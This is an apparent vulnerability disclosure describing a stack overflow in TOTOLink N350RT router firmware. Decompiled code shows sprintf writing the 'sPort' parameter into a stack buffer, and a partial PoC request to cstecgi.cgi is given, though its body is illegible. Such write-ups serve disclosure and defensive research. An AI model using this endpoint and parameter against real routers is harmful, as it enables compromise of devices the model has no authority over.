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TOTOLink N350RT V9.3.5u.6139_B20201216 has a stack overflow vulnerability

Overview

- Manufacturer's website information: <https://www.totolink.net/>
- Firmware download address :
https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/206/ids/36.htm

Product Information

TOTOLink N350RT V9.3.5u.6139_B20201216 router, the latest version of simulation overview:

NO	Name	Version	Updated	Download
1	N350RT_Firmware	V9.3.5u.5812_B20200414	2020-07-28	
2	N350RT_Datasheet	Ver1.0	2020-08-09	
3	N350RT_Firmware	V9.3.5u.6095_B20200916	2020-09-24	
4	N350RT_Firmware	V9.3.5u.6139_B20201216	2020-12-30	

Vulnerability details

```

19 Var = websGetVar(a1, "addEffect", (int)&word_43908C);
20 v3 = atoi(Var);
21 v4 = websGetVar(a1, "enable", (int)&word_43908C);
22 v5 = atoi(v4);
23 memset(v15, 0, sizeof(v15));
24 memset(v16, 0, sizeof(v16));
25 if ( !v3 )
26 {
27     nvram_set_int("fw_lw_enable_x", v5 != 0);
28 LABEL_20:
29     nvram_commit();
30     notify_rc("restart_firewall");
31     goto LABEL_21;
32 }
33 v6 = websGetVar(a1, "ip", (int)&byte_43AFC8);
34 v7 = websGetVar(a1, "proto", (int)&byte_43AFC8);
35 v8 = websGetVar(a1, "sPort", (int)&byte_43AFC8);
36 v9 = websGetVar(a1, "ePort", (int)&byte_43AFC8);
37 v17 = websGetVar(a1, "desc", (int)&byte_43AFC8);
38 v10 = websGetVar(a1, "time", (int)&byte_43AFC8);
39 v11 = websGetVar(a1, "date", (int)&byte_43AFC8);
40 sprintf(v16, "%s:%s", v8, v9);
41 if ( v6 && v8 && v9 && (*v6 || *v8 || *v9) )
42 {
43     if ( v3 != 1 )
44     {
0001F62C sub_41F594:22 (41F62C)

```

v8 is formatted into v16 through sprintf function, and v8 is the value of sPort we enter. The size of the format string is not limited, resulting in stack overflow.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1

```

[illegible]

